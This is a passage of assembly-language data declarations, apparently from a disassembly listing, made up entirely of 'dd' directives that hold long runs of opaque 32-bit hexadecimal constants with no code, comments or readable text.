0DE5A41CDh dd 0E87986E3h, 0BB4AC147h, 9C6A21A6h, 70783E74h, 2DD9DBB7h dd 75F21ED4h, 7D4B6571h, 7955CA12h, 0C20142E7h, 7A51661h dd 1EAAF0F4h, 0E608CF4h, 510AEF61h, 9B8A40B7h, 352E6F28h dd 0FD5A1234h, 0EBB6694Eh, 4A804EB2h, 0A1895571h, 0FB0BA056h dd 924E55C4h, 62C1FC95h, 3AD65062h, 0EDE88565h, 0B1D6E9C4h dd 0C4A626D1h, 0CDBAE1D1h, 4910963Dh, 8A0F7FA6h, 0FB7240C2h dd 2644FD45h, 0BA3982CFh, 1833028Bh, 0B33D2304h, 10F5806h dd 16BB0BE3h, 0E052A4E9h, 40C4F659h, 27A1E281h, 1247AE24h dd 2809FD1Ch, 956BF807h, 8952B618h, 0EA84CDA0h, 9FED4C9Fh dd 5938B652h, 8FAF4E17h, 59CE10E6h, 9694E50h, 94A3D08h dd 335CE05Fh, 0CBB286Eh, 9BCBEE6h, 827FC831h, 5912ADEFh dd 58618DC6h, 0F9917A10h, 870473F0h, 1E99F057h, 43955851h dd 0AEF1C87Ch, 7ED501B2h, 3FE9CE29h, 0CB4F9307h, 0AF3804BAh dd 4058000Bh, 2DF7F035h, 0AF0BDFFEh, 727D3C09h, 0E092838Ch dd 96402142h, 9E528EEh, 331F0908h, 5561C2F7h, 0DF973FC4h dd 842C9F14h, 66A56FA1h, 0F1861827h, 1D09A0FEh, 86602C81h dd 894A4FABh, 798D425Dh, 510067C7h, 0E943B64Fh, 0FE725F67h dd 33ED1B24h, 8A6984h, 677DBB53h, 295E1637h, 0C1C012DEh dd 0DDA1B797h, 8123F6Dh, 0CCEA9784h, 6817D8EDh, 38CC603Dh dd 185601E0h, 3FC98154h, 0FBB06F3Eh, 9596704Ch, 2D7F3657h dd 7C9A7C72h, 687A215Dh, 324955B2h, 82E4B53Ah, 0AE1D2AEEh dd 808C803h, 0A9780D19h, 0F111011Fh, 580C486Ch, 0CC042BC7h dd 1AC10DA4h, 800046ABh, 2848D0C2h, 592C1D79h, 0B353F843h dd 0D6EBE94Ch, 32ACF83Fh, 7F9910DBh, 0C11A5FA2h, 0C84CF657h dd 1696109Ch, 60BCD989h, 212FF346h, 0E557A209h, 2B25E965h dd 0C0A6D582h, 0D5089C31h, 93965AECh, 0FD1F011Ch, 73D196B1h dd 0E3814300h, 4512AA14h, 62C31F94h, 1FDFA00h, 608FE9DFh dd 65C57780h, 71601778h, 0F1C0EC0Ch, 0E9292F10h, 0BF800C16h dd 414E6EC2h, 0C00399A0h, 35480606h, 72050599h, 0BCFAE946h dd 128F9FB4h, 0BA79173Ah, 6FD0B3D7h, 2FE937B4h, 0D5495EE1h dd 16C57A79h, 0B3A9EFBh, 769101E9h, 1A51E990h, 0E91F106Bh dd 600241F6h, 0A5AA2534h, 5AA412C0h, 8E7F2981h, 3CF67F90h dd 281CDD97h, 2A6AE916h, 17EE0B44h, 85988B1Eh, 801074B3h dd 0D1137CB7h, 0E01800EBh, 0C115BC6Fh, 0C705EE2Eh, 7D25A51Ch dd 685B3564h, 2C8B95B8h, 252E15D7h, 419EBBC0h, 88193B9h dd 5B013340h, 0A839F1C7h, 0C923C2Ch, 59106793h, 71DF0507h dd 26504AFCh, 3416DE13h, 57AAD029h, 6D2DAF08h, 12672560h dd 806C5E35h, 0BB47F1F3h, 29D95D0Bh, 0B69994C8h, 61988A36h dd 68586192h, 6322E48h, 4B5B5954h, 5FC7BAFFh, 0BA8230D9h dd 60B605C7h, 0F22BCA78h, 0F7721A74h, 0DC4004DAh, 0D30B3642h dd 40CAE973h, 5C29669Ah, 6E25F2D8h, 4B4852CAh, 6880224Eh dd 0F07359DBh, 0EAD3D484h, 0F8024A8h, 4A146329h, 8C5E85FCh dd 0F10FB9Eh, 575112B8h, 5B41A503h, 0C058108Fh, 9663EF2h dd 230C9B4h, 0D4738C31h, 0C068E223h, 0D14A21DAh, 25C38BEBh dd 5CF709ABh, 0FF30C55Ch, 52013FCBh, 0F607B551h, 1D7293DDh dd 0DF59FD91h, 8717A06Dh, 17BEB3C5h, 0E8E9121Ch, 0DB951A1h dd 0AEB2B02Eh, 905A4140h, 0BA5655C4h, 35118FF5h, 4BA86A9Ch dd 8F9D9987h, 727A3837h, 73952205h, 0C291D309h, 6E3160B2h dd 227BC721h, 0E4A5DCDBh, 92B6EF5Bh, 0B2DD3D31h, 2ACD217Eh dd 5FB749AAh, 0DA08B254h, 44CEBB9Bh, 0A979CEFFh, 6AF7D21Ah dd 877BE90Eh, 0EBF2AE13h, 7F8AAB93h, 0EF4D0384h, 0F7AE0F74h dd 0B8BD1302h, 6958B6FCh, 0BE57D32Dh, 27CA80C6h, 90AF7318h dd 533C06A7h, 0CE47688Eh, 0F0046F0Eh, 0B1E7C025h, 0C166087Fh dd 0EBC2DD18h, 45C57A39h, 4FBBB4F4h, 0CD34BBD2h, 17DAE2AFh dd 0A856673Ah, 426C9F18h, 499C3F0Dh, 688B4D2Dh, 1204C575h dd 60E9E641h, 88635B3Ah, 0E8474E02h, 0F7810193h, 11A36D31h dd 5DE90434h, 5D3B79A7h, 95F9752Ah, 11E900FEh, 0DFC6643Fh dd 7DF0C052h, 0DB51DC4Bh, 6B9510F3h, 976681Eh, 64BA38F9h dd 3DD06263h, 0E91667A0h, 8BC9A388h, 0B66070E0h, 0D3BB4080h dd 4B017F7Dh, 51B5CB81h, 0EBD84292h, 0F8FFF8F3h, 5BDE2529h dd 0DB2D1516h, 0C45A1Ch, 12DB1BBh, 0F7D38734h, 0FF08D26Bh dd 704D0E07h, 0D689CBFEh, 9F5D4BB0h, 73611CA1h, 22CEFF25h dd 0E9627699h, 68655D11h, 8DCA57A5h, 7BA40D41h, 63C473ACh dd 0A28ED870h, 0A8C8415Eh, 3AD34568h, 0E9A161A2h, 92D23E94h dd 2B38612Ch, 0E7D100FEh, 57BEDFF7h, 87EFC10Bh, 6161CFEFh dd 522056D4h, 164D3871h, 64DF31BFh, 6024FA99h, 54BE78E4h dd 0BF5F7478h, 6FC5FB41h, 596A1998h, 71D6F722h, 29E86F3h dd 9C15C31h, 8E2C92C5h, 0D7C24D6h, 440C7C60h, 0C077A801h dd 5D36E2FAh, 0CE682933h, 0E905081Ch, 0F5562C73h, 816D8A2h dd 4C272067h, 0EDF92C07h, 4113C47h, 0CEDCD8BBh, 187B42B8h dd 2C4E611Eh, 0EE4B592Ah, 1C68A1ACh, 1E1C3408h, 87C4D214h dd 0FEEBA57Fh, 0AF5F0500h, 0BD292B1Dh, 8AEC1702h, 59531AF7h dd 52253FE0h, 0B03F03EEh, 9542BF9Bh, 4CE5B38Eh, 338601BBh dd 0C229654Bh, 81295E3h, 0C88018A9h, 0E97B7257h, 0C6E2062Bh dd 7F27903Ch, 1FCB6803h, 0BD1121Bh, 268E0697h, 0ADF21A44h dd 57F08957h, 59AD0D97h, 78F2252Bh, 0A9F1F302h, 0DF4B169Bh dd 0BCEE8EFAh, 34EF392Ch, 9F2ECD02h, 7BFA7529h, 3D64430Ah dd 0E904B847h, 38EB9D2Ch, 0F80B303Bh, 2949D3E9h, 8105FC7Ch dd 60476D2Eh, 64BB2F5Fh, 0EBF5C792h, 5B6B8D5Ch, 0E95704EAh dd 4E25F80Dh, 0D594D6B3h, 96A9B64Fh, 3520FD03h, 2DD6A807h dd 0E16E5B6Ch, 87070589h, 2113E8D6h, 140404EAh, 3602136Fh dd 0F67A3068h, 7E536312h, 945F81CCh, 2B300CFh, 0C9C33D80h dd 30B7B680h, 0C1685AF3h, 0B4312E5Fh, 0EE2B653Fh, 7493FB61h dd 68560A80h, 477E4F59h, 6D4D82F6h, 29A10770h, 65EF1F24h dd 0CD899A7Bh, 0ECEFE56Ah, 96978CD6h, 62D9FAFAh, 0D7F646A9h dd 0B90967Fh, 0ACEE80FAh dd 0B151BDB0h, 0E9079F7Ch, 0C0C1FE68h, 0E4720357h, 2E8DC4BAh dd 400B8DE8h, 21710B5h, 4AD7CEA2h, 9DA5C16Ch, 0E429B87Bh dd 0FC480AB7h, 8602263Eh, 0D4EE922h, 7AFFE869h, 4DD4E1F8h dd 0E21C7F04h, 0F603C023h, 6E584F3Ah, 6DEE00E2h, 9CA34DCh dd 0B9E913F1h, 89CBFBC7h, 4828257Eh, 2D215B23h, 5D5A09A0h dd 6B49519Fh, 0DD272DD3h, 50DB1982h, 3EB46F0Eh, 5E37341Bh dd 8328EF29h, 0C5599D3Ch, 0E7855F97h, 0C4B4A4A8h, 0A08B2039h dd 7D5FEE46h, 59F56E91h, 41CC8001h, 0EC89F4DEh, 6697866Bh dd 27B4312Ch, 0E0D4EA27h, 58945CD0h, 5E479780h, 9F1816Ah dd 792101E5h, 0F587EAFFh, 73977364h, 5CBA011Eh, 4030182Ah dd 0FE3494C2h, 0E6811901h, 757B034Dh, 5753FE3Ah, 245A2200h dd 7D29DE40h, 813926EFh, 7857E277h, 0D820500h, 356E00D8h dd 55C55C73h, 3A775625h, 0A31E0F7Fh, 0E90B3E13h, 3DA4DF16h dd 5A0BAC1Bh, 62A975BCh, 6F5E7656h, 5E2F9328h, 5D6C3130h dd 0B26389B3h, 617D5E45h, 6B2A0282h, 26983F0h, 0E9727003h dd 0B87297C8h, 0E91CAB27h, 0B63B5D6Ch, 0E52F1055h, 53176448h dd 0A3DC4175h, 4013AA05h, 18313A97h, 35E07A4Bh, 265B3B11h dd 431EED05h, 62BFC1BEh, 685C0093h, 5C57E350h, 6249E57Fh dd 0F2F746B8h, 705AA6EDh, 1B3A792Dh, 0F751BB4Ch, 4319FDFBh dd 59167F0Fh, 0FD0484BCh, 0EE407001h, 31B3EF81h, 4EAEB73Fh dd 0F12AF3D9h, 0D2FE7696h, 0A0B7ABFCh, 203DE6BFh, 1E01BEE0h dd 0E9FFDFC2h, 77C29810h, 13894D71h, 0E273D4B8h, 4D4259CAh dd 527D0929h, 98819805h, 5C819A2Dh, 0EB0204E3h, 1F08379Ch dd 0C7A21E40h, 0A99F52Eh, 7CED0342h, 53B46533h, 8A0FFBB0h dd 7DC7244Dh, 5A99E9F4h, 818CA22Ah, 6D74DDC7h, 73EF7490h dd 0EA9BF70Bh, 99C6E08Ah, 2C4F835Bh, 247B03B9h, 0B7DE2BA0h dd 0F77090Ch, 0DC5A69C8h, 34F65938h, 595E391Ah, 630009A2h dd 812C063Ch, 1E14F2E1h, 24F41532h, 0F1820F04h, 61BC5E57h dd 0C075D886h, 0CD28527Bh, 750CA76Ah, 0CDE96C82h, 5B5220F0h dd 4D0ED3E1h, 69EB160Fh, 9EE86BBBh, 0B4E3BC4h, 28E1565Ah dd 0FA9A6BF1h, 99B9B475h, 934B08A2h, 4093782Fh, 450FBF75h dd 44020D56h, 77BC5271h, 9DCF1C9h, 0B5F6A5h, 29BB64DEh dd 0C5AA3E9h, 389311A5h, 7B0045E6h, 25CAB348h, 8BCFDEFCh dd 5B16AC5h, 834CC05h, 0E069E92Dh, 175CB83Eh, 0BA0D325Ah dd 28BDBA44h, 680238FFh, 9C77E32Fh, 0E58144E3h, 5D127617h dd 1B9874FBh, 59A2620Ch, 0B7489E7Dh, 0B5FEC332h, 0D9C2AC2h dd 4FE3DFAAh, 67FF0E4Eh, 14ABA173h, 9FC26ABFh, 0D2E57756h dd 9013994Ah, 12E03AE4h, 0FE12C111h, 0C04467E5h, 8CBF0B12h dd 2317902Bh, 0D0BE48A5h, 5102F82Ch, 9EC59C4Bh, 0AFB476E8h dd 5BDB51F4h, 9A21FB8Ah, 0B97AE831h, 36DD3CCCh, 84DE08EBh dd 68500A08h, 62ED291Ah, 92645D58h, 4C4CE522h, 8B20C5E7h dd 494EBA16h, 631030B8h, 2D5B0AD4h, 1A42AF01h, 94D9F5AFh dd 176C8D0Eh, 0B9CBBEh, 63E85976h, 410E525h, 0E9480FA5h dd 3E4AD95h, 274532C2h, 0C0CAB379h, 0B765FB7Dh, 0D1351224h dd 74575225h, 0E2D24EA6h, 0B1DA6E00h, 0B89CE2Ch, 99BAE9DFh dd 3C87F77Eh, 3144B29Eh, 0CA921FE5h, 45CDB3C0h, 60AA3BCFh dd 6EA5E946h, 4A2D28C9h, 0FA2102AEh, 0D3F6037Ah, 0F4CA1BBAh dd 0BD41D0F5h, 714D0DE4h, 0B0BF0301h, 4BF708h, 5B079394h dd 8CCFE937h, 0BF9CCE95h, 3C64AFF6h, 0A5D0154Ah, 0EA251570h dd 246FF12Ah, 21A108Dh, 21FFFC2Dh, 4F745720h, 8CA7DC72h dd 42C52EE9h, 549E683Bh, 175F70E8h, 52EF2653h, 1362FDBCh dd 0E8B2A637h, 0FD88D512h, 7D251063h, 4A6DB836h, 5681F27Bh dd 0ACA0A641h, 45D6BA00h, 893EB07Eh, 34D212D1h, 5D80EB34h dd 79EF79AFh, 5DEA1243h, 0BCC81631h, 0DF889825h, 2679954Ah dd 8BAF5F45h, 59E90BC9h, 271C5F6Fh, 885E52FAh, 5F789CA6h dd 20A2B7D0h, 1468130Bh, 0C975A871h, 5BD97807h, 2E202D05h dd 0EB5B97A8h, 0BD693029h, 0FB6D5C13h, 3151EB61h, 492B6F8Ch dd 59D5549h, 52FABD1Bh, 5F09FF07h, 5A21565Fh, 0D292AD54h dd 385134A4h, 0CB25ABB1h, 74271E5Eh, 0E9CF859Ah, 48ED4A1h dd 0A46A53ACh, 5854C5DCh, 0F23D81C1h, 7D12127Eh, 0F06A32ABh dd 0F748D358h, 0D30510BAh, 80815518h, 0C4277D2Ah, 6528710Ch dd 0BC0F57F1h, 207FCB23h, 78FEB841h, 0EF3E4B22h, 62EFD4D5h dd 70495D3Fh, 4CC30483h, 0B37E1DD0h, 0C52FD70Ah, 9EC4AE4Ah dd 18097C81h, 0B6BA312Fh, 91EBA880h, 0FE5A5209h, 0F7F889F9h dd 4B2AC4C8h, 51C7499Fh, 83C4717Bh, 497A88C0h, 9CDD2DB2h dd 0DFBBAADAh, 2D886A53h, 0D5F7074Ah, 0A1508245h, 0BD06D95Dh dd 738F697Bh, 4D54FFC0h, 9339FC3Eh, 1C28F47Ah, 0CBDB50F7h dd 9577B26Ah, 0AD3D2654h, 5E227FF2h, 410549F1h, 2E8BC401h dd 3AF02A58h, 4271958Ch, 7579AE42h, 16BDFC6Eh, 0A524961Dh dd 58F22BD5h, 0DB050799h, 0A51AE861h, 4CEB080h, 6E594D77h dd 9C553EE7h, 572587A8h, 35094496h, 80176973h, 0EF551FF3h dd 0D760950Dh, 0FE0B6856h, 8158C853h, 46B7BEAEh, 0CF057FEAh dd 0D3C7AD8Fh, 0F7023CBEh, 0F6E9F909h, 7D10577Ch, 112F1039h dd 0E9F51848h, 0C2C3644Eh, 8454C05Eh, 45E21E25h, 705AD0C9h dd 8394BD16h, 52955D97h, 3049E5AFh, 456D0FD2h, 0D6F76913h dd 3774E0h, 26051BBDh, 14D8835h, 128FC65Ch, 67908491h dd 480252C5h, 90131A0Ah, 162F1208h, 132CE8B6h, 0B4BC9FE8h dd 0C2614AA1h, 56AFFC75h, 4AC38002h, 7D6A26E9h, 659D1A1Eh dd 89FF255Dh, 4BC07702h, 0D6B778B0h, 0E18180EEh, 61B469B8h dd 64000CDDh, 0BBE9363Eh, 0B4F19DAEh, 97EA78C9h, 7FB13AF7h dd 9B45C5D9h, 0B22004F1h, 2FD59C98h, 5018F3F4h, 2D6F8242h dd 0FB744348h, 0AABF5701h, 3D21414Ah, 2F1BB9E8h, 0E1DE0EA5h dd 9440BA13h, 7DF24CBFh, 3C1D9823h, 49A7748Ch, 8A01C7Ch dd 25AE5F5Fh, 126BAC79h, 8A8430E9h, 0AB2F14F1h, 4189937Dh dd 34203CE9h, 305D0F7h, 12022C1Fh, 3AA88A16h, 57CB334Bh dd 5DDCCEE2h, 0C40F380h, 5C010AE5h, 0EC303EDAh, 7187EB1Bh dd 3853483Bh, 7B4282CBh, 0E2E3D17Fh, 5F207082h, 2716F333h dd 0C93ADD52h, 946B5103h, 99F2C916h, 0D7647009h, 2765E9E0h dd 0C23CEC2Fh, 0A1070EB6h, 6C696B4Bh, 0E11EF564h, 4284DC2h dd 9A84D6E9h, 793C0433h, 0D1800662h, 0F39B2A57h, 21A2A940h dd 0B677680h, 0B614BBE5h, 0D58311D5h, 9E65071h, 0A7B0157h dd 0E6824A5Ch, 2DDF7227h, 59B5CD40h, 232E03Bh, 0A61C99CAh dd 12A0F564h, 0BB460E76h, 5AD52917h, 33E4D0ABh, 0FBA052h dd 41627B77h, 0CD32C4CAh, 57A36C92h, 0BF7A22C9h, 7CF587D7h dd 72B242D6h, 0CF3F765Ch, 0AB58FDE5h, 0A27F7CAh, 6F54FDC1h dd 0F4A839D2h, 5AD3E2D4h, 0CB33FE5Fh, 0FA77CF03h, 8FF5FF07h dd 778989FEh, 5BF82968h, 2E4B0337h, 6308748Fh, 0DB3F411Ch dd 80180475h, 0AE095973h, 0E985EFF2h, 4F05AC8Eh, 0B4F60FACh dd 1D11420h, 512FCC80h, 41C06BB5h, 0ECCDFEA6h, 0F639EBF5h dd 81D53BDDh, 0EC28C6EDh, 0C02B2059h, 52AAC786h, 8236B63Fh dd 87E9B1EEh, 6775547Bh, 8B04A650h, 0E2C14A0Fh, 247D2B05h dd 0A6F433F6h, 0B10B498h, 0B0DFF828h, 1C7AB71Ah, 2886F780h dd 9CC1E085h, 0CCC22F81h dd 463E6282h, 20CADAF7h, 527DC11Eh, 0EE391832h, 0F1F25F29h dd 0BF5BD9F6h, 5590DAE4h, 56208848h, 0CC059539h, 6FEFCA87h dd 0D7D3366Fh, 53750104h, 0D661B9BBh, 738C7E79h, 60DF2EE9h dd 657EEBA6h, 0E6FA2DBFh, 0B76CB027h, 25292F89h, 0B79E7FFh dd 645545CAh, 0A0C27817h, 8230E175h, 6248FB77h, 0D1DF47C4h dd 3732625h, 4CD21EA7h, 1F489EFBh, 16FD3C93h, 1A44F01Ch dd 0D0805FFEh, 5AB86B3Fh, 7141FB59h, 2048FAEAh, 0DC784AEAh dd 224485E6h, 2776BC98h, 3F1C963Dh, 0E34FB768h, 4EF09307h dd 22FC9D2Fh, 3D7A5871h, 0A3E3013Ch, 0C26C24F6h, 20E7FEE8h dd 0C01E226Eh, 0C51F06EDh, 0E9B6E542h, 3420DDAFh, 0CB449DC1h dd 0F9291F1Eh, 7B08513Fh, 0F134CB8Bh, 0EEE1AB32h, 2226030h dd 0E9770569h, 824C5034h, 620DD9Dh, 2E8541C4h, 37F9488Ah dd 5E44B5C2h, 1A2D4FFCh, 5D6D6265h, 0B186C0Ah, 0C4756878h dd 0EC435BD1h, 4B8D037h, 13251B31h, 0C3B50AEFh, 0A1E90908h dd 0ED6837A0h, 944A5BCDh, 34CBBF80h, 294332F4h, 88FE9CEh dd 7C35BDFDh, 14E2F871h, 50FACA87h, 0E92506E1h, 0F6DDC20Bh dd 3EF76B99h, 0F6F697D6h, 41B0BFC7h, 7DF736A7h, 1EF19D7h dd 0E6810C4Fh, 6C8E4CC0h, 67F83135h, 9B5C14FAh, 40088CD9h dd 0D15BE59Bh, 21B8454Ah, 0E982066Fh, 46D74954h, 0CD28F502h dd 2BC9F15Ah, 941F4B61h, 0B8805A78h, 349A1390h, 8295EC3h dd 0A9522612h, 0B252876Fh, 5AD702C0h, 2A6A8469h, 0F8A92DEFh dd 2818A6C6h, 0C2365AF3h, 0F6CA1BFEh, 40908D2h, 0AB82E4E9h dd 9FEAD73Ah, 69C3E900h, 0E92D2989h, 926C7C62h, 7B6FBDEEh dd 17DF8430h, 1D37D7C5h, 0B4292C26h, 0B0813B4h, 35DA6A36h dd 1DC3784Ah, 61EEBC51h, 5023D3Bh, 1A2EA0EBh, 0B85E8140h dd 956C8E5Fh, 0C2FE18F5h, 1BFC25E9h, 0A2091867h, 591619B2h dd 0B291A22Bh, 13235E29h, 0A5FAF366h, 0A6138DFBh, 5525EC86h dd 0BF3368B9h, 0DA991720h, 4196ED22h, 0E3ED031Ah, 0A19DBC6Ah dd 3A7C5BD8h, 2736BDA4h, 5DFD09E0h, 49E642F0h, 13614AF6h dd 2DBF682Eh, 2427337Dh, 0D0528C54h, 0B951237Fh, 0F2061A02h dd 0D4AFF5Bh, 52590802h, 8B1D4555h, 1C52E2D2h, 0ED172D08h dd 0C638BF4Fh, 27B88ADAh, 4E0A07F7h, 0F309A62h, 328F5F29h dd 0AE492EE5h, 975ACBA3h, 0BF58963h, 0EFF276FBh, 0D1718564h dd 0E0E8297Dh, 19B71CB6h, 7D61E3Fh, 0E815E451h, 0B3BB00F6h dd 293E6375h, 20D49018h, 0CFE04257h, 472A5964h, 2092C9BEh dd 7AE1873Eh, 681640A6h, 10AA91F7h, 0D888016Bh, 0D7DE43DDh dd 0FAB5AC14h, 9F6A90E6h, 0D5A5AF91h, 3B0420EFh, 717B4F41h dd 2A56AFEFh, 40FC5698h, 0AB09B1D8h, 5911DE68h, 0DBEA8B00h dd 895E6D57h, 0ABD858E9h, 48DC2D05h, 10FB3443h, 0E91607DBh dd 0CBB1D0DEh, 332C2B4Fh, 0B3168F19h, 5F6E9ABAh, 41E662A4h dd 0E8816E45h, 0CC7F9811h, 663B047Ah, 6AD8A858h, 443BCF80h dd 25CEABC3h, 7763F373h, 0AD0A250Ch, 1D82C180h, 0E91A1131h dd 0DF549A6Fh, 5094BC48h, 68533EC1h, 1A614943h, 0BF125639h dd 162CE34Dh, 95F90472h, 9A671D96h, 4BD6DD68h, 4C751885h dd 4399DFBh, 0C98BBB0Ch, 979EFD5Bh, 8F59D191h, 39A9BB41h dd 0C281D554h, 33D2F8Bh, 45789D0Bh, 506E8882h, 1A82FD09h dd 89293274h, 0FEFA80E7h, 3028C045h, 310BFABBh, 89BF5FFBh dd 80920FC7h, 0C143EB66h, 0D0401E0h, 788C7DF2h, 8D4FC835h dd 8E027975h, 1073330h, 3C8885C7h, 84FD20BBh, 134E5817h dd 298097C7h, 341F421Bh, 42ACF801h, 69E9F008h, 800B5DD8h dd 8366DDEFh, 0BF282E7Bh, 0F8055967h, 587EF44h, 0D4D4AF1Eh dd 4DFCF1DAh, 5863301Ah, 5AD58800h, 0F6BBB450h, 0C48004DCh dd 0AFE5200Eh, 0C3ECBEC2h, 908A737Dh, 0E1357E3Bh, 779A62C2h dd 701A63Ah, 7A405AE9h, 74CA4A7h, 5E8E9027h, 0BB4049A5h dd 44110831h, 784AB22Ah, 5CE4EF54h, 0D3635548h, 0F796D109h dd 0E916229Ch, 14902E5Eh, 4B96DD95h, 0EA96A4E4h, 887E5D54h dd 822FC17Ah, 0F516C858h, 31762645h, 67AF1FF9h, 0B8534F7Eh dd 98265B60h, 690C6E3Ah, 1912C8C3h, 43DBB5E7h, 0F9305AF8h dd 2E56A158h, 816075CAh, 2D2C79F1h, 8DE253A6h, 2134A801h dd 22857B71h, 3FBA6A44h, 0A9F19B90h, 768C2825h, 7F140CF1h dd 0B8187C08h, 0AF85E013h, 1CE9EC02h, 889AD773h, 268B707Fh dd 82CFAB72h, 479C4FD3h, 0CBB871DDh, 289A44DFh, 60BB5351h dd 14EF1B89h, 0F2F7E1Ch, 6C21D757h, 6B6CC1E9h, 751057A3h dd 3ABD0506h, 0A9170EC6h, 0C5FE4794h, 1572DDEh, 425ABF0h dd 802824AFh, 6872A54Ch, 9DE85D4Bh, 0FB325FB7h, 0EC3F032Dh dd 98B3A6D7h, 6F7C415Bh, 992D34C1h, 9B5A1CFh, 948258E5h dd 0D3526457h, 5F864AE0h, 5F393627h, 80241C2h, 54EC5859h dd 9C0CD260h, 0BF94DDE9h, 22F01B44h, 6810B461h, 306B7945h dd 125A7ADEh, 9BA04E4Bh, 6FF22E1Dh, 9F5C1540h, 4E38E95Bh dd 661705B8h, 0E490EEADh, 0FA7BFC09h, 96A1B0F1h, 81CF2880h dd 277C32B1h, 7F91BE00h, 84BB398Ch, 13F01E1Fh, 0DE858DC9h dd 60F3BBE0h, 0DC040E8Fh, 46583E68h, 0E5B7C478h, 758030C1h dd 0AA562498h, 44005706h, 328E0D3Fh, 2354573h, 41FA6EA7h dd 5EE1C689h, 0B2468937h, 0A030870Eh, 5F21CDA2h, 58A53A97h dd 0F29E953Dh, 0B127BB7h, 10278AEBh, 7C472DFh, 70DEB769h dd 1A9785D0h, 3A29D5D2h, 2918F157h, 0A2E96128h, 37FE2EF3h dd 0A8B2A21Fh, 72DDE3A2h, 628F440Fh, 0C60567EDh, 0E17AB35Ch dd 7DFA2B45h, 0B86A819Fh, 9CE1D28h, 0C2515FC6h, 7E0BB4A0h dd 5621EE68h, 93E2883h, 3B9F5479h, 40B7960Fh, 0FD9335ABh dd 2AB0D7C9h, 34B02284h, 595475A8h, 46BE779Dh, 3B62E695h dd 97704768h, 20AD95DFh, 0E9570D6Ah, 0DE967062h, 0D9021357h dd 16923D56h, 33D5FB29h, 6BBEB5BAh, 16B2CE37h, 2E9D79A0h dd 662A8CCAh, 48132D4Ch, 0D1CF155h, 0CF7E8682h, 50E05F77h dd 54B7A408h, 685CF8B9h, 5E659F25h, 56B77EBAh, 3CEE4251h dd 67D571FFh, 5C604668h, 503EDCBDh, 14B4C7E9h, 0B123F327h dd 0CA0E6842h, 2050CC7Fh, 0FF822967h, 5A5BEBD7h, 4C67FD0Ch dd 802539h, 4018BA4Ah, 0CB84B53Bh, 0E430AE5Eh, 704B6850h dd 0BCD59D7Bh, 0E9D5C2D0h, 2B54264Ah, 0A4B05043h, 29169EC2h dd 95A8F85Dh, 0EE0986E5h, 5F2D197Ah, 0A4662DE4h, 5B0158F5h dd 15346707h, 0B80AE46Eh, 0AC5A258Bh, 60E31A8Dh, 48230C22h dd 0C7D91667h, 86014480h, 294E60F1h, 53EEC25Ah, 54D0AB0Eh dd 14EB8143h, 0BC3F260Ah, 5079AD10h, 524AF152h, 0CCC55FD0h dd 0BCA17904h, 11123067h, 0FFF3D640h, 0F95741C8h, 4AAAF64Ch dd 0A7D81BE5h, 0F5599FB6h, 8F3FDC2Ch, 0C94FAF4Eh, 0E830D08Bh dd 5F179504h, 0FE9F302Ah, 1A68C1B1h, 594B334Ah, 81BD1890h dd 1728C347h, 0E27FD072h, 0C8FA9647h, 600BF382h, 0C5A9D46Ch dd 7F3382F8h, 45F02AFh, 4F868303h, 0AC075E0Ch, 72EC1A3Dh dd 991DF31h, 5956CE1h, 743D6859h, 2918FB4Bh, 18F03C24h dd 1757A3E9h, 2F178CE2h, 200D69AAh, 0A92A3C54h, 3EE9A003h dd 18E89F10h, 9696BDF7h, 0D66AF273h, 1BB50468h, 0C182EE2Ch dd 0F4EB2022h, 0D5A0B859h, 17C01D71h, 0D01F73C1h, 0C4429090h dd 493ACCD8h, 41A2AFB2h, 34E86958h, 9364A770h, 2243269Bh dd 0F8050794h, 5013C721h dd 32122984h, 7CC1E9BAh, 1CEC72A9h, 0BF84CCF3h, 0CB010804h dd 0E90AA7F6h, 2F5A17D9h, 0A4BD51F6h, 548B64CBh, 54CDFE5Dh dd 1B093AEBh, 0A938DF58h, 0AA2859A1h, 2B0EB760h, 0C06AD470h dd 7EC9C8F7h, 6EC0B7CBh, 0F8560FE9h, 6E0CD6CDh, 0FF5814Ah dd 76EC5B2Dh, 0D292D565h, 0B275D731h, 2D09576Dh, 52608A7Ch dd 2C3155BAh, 0A40AF5h, 481B30FDh, 0C90CCD81h, 0C329B69h dd 0B134179Ah, 652F082Dh, 0E956500Eh, 0E8D3430Ch, 5C5C7C08h dd 5A20A139h, 5EDA681Ch, 0E518FF2Dh, 7EBD3A0Fh, 0C8FEC926h dd 0C6C7FCA7h, 31696257h, 8017D027h, 39F7ADCh, 8B053A29h dd 295691Ah, 674F5FAAh, 0F70223FCh, 846075D4h, 37EAD5DAh dd 39CF8316h, 0DE301013h, 9C4900B0h, 8C68004Ch, 5E58EB51h dd 4ECE8107h, 80B9D054h, 3B12985h, 80564BDDh, 0EA4363B2h dd 0C2C46D4Bh, 3EB80712h, 13566689h, 7D307B89h, 0F7BB0039h dd 0E950D70Dh, 0B73A93A0h, 0DC5A8B42h, 2B6EF9A1h, 6A850BB9h dd 5D81A41Ah, 0F727E2BDh, 0B89DDE25h, 46607641h, 0CD2D8F20h dd 0E8BAA12Ah, 0F101AE2Dh, 78C059DBh, 25E9F3D1h, 51AC85FEh dd 4C8328B1h, 0BC41E16Fh, 90D13924h, 73840C38h, 9E585C85h dd 147F2A05h, 0C8EEF129h, 0E424682Ah, 16F0E35h, 71DD63E3h dd 800C352Bh, 5A311EC4h, 0A4352000h, 2122334Ch, 425804C2h dd 0BC3EBAE9h, 24A8935Ch, 0A27BC384h, 0E092603Dh, 160F5F20h dd 0B8771468h, 0EB8D666h, 0B8585107h, 5053540h, 0DCC18906h dd 784A4DE9h, 574E88FAh, 887E0FBDh, 0DA5827B1h, 3D3A0507h dd 0F8827AD7h, 5F07852Dh, 6BB8A0AEh, 59BAD913h, 41ADEBF0h dd 0BDED00E3h, 36502B78h, 7D1FD5BDh, 0E1002D89h, 6C715BF6h dd 84D04BE9h, 42AA831h, 6AB6C0EDh, 0E9C888EBh, 0B7A1462Ch dd 79105DAFh, 69BF5D16h, 45BD6E2Ah, 7D9B9E99h, 0AEE52EEBh dd 0D72A45EDh, 5CA2630Fh, 88BA0C4Bh, 384B2D7Eh, 497950B3h dd 5D0BB33Ch, 0B47F148Bh, 0F87CB57Ah, 6B315C52h, 7FB94907h dd 5A68AE17h, 0EBBA5F4Dh, 69355F31h, 7294D73Fh, 535664B6h dd 53705D49h, 0B5A5EA5Fh, 6860FAF1h, 0E574B7C6h, 0BB442CE3h dd 0B7F88309h, 0A527BE4Fh, 5992FB23h, 98436346h, 97B2F3CBh dd 2CFE66D8h, 0BF1EF1B6h, 0D3C008C4h, 0E6C20787h, 2DC5C57Dh dd 0FA591DB1h, 25F36800h, 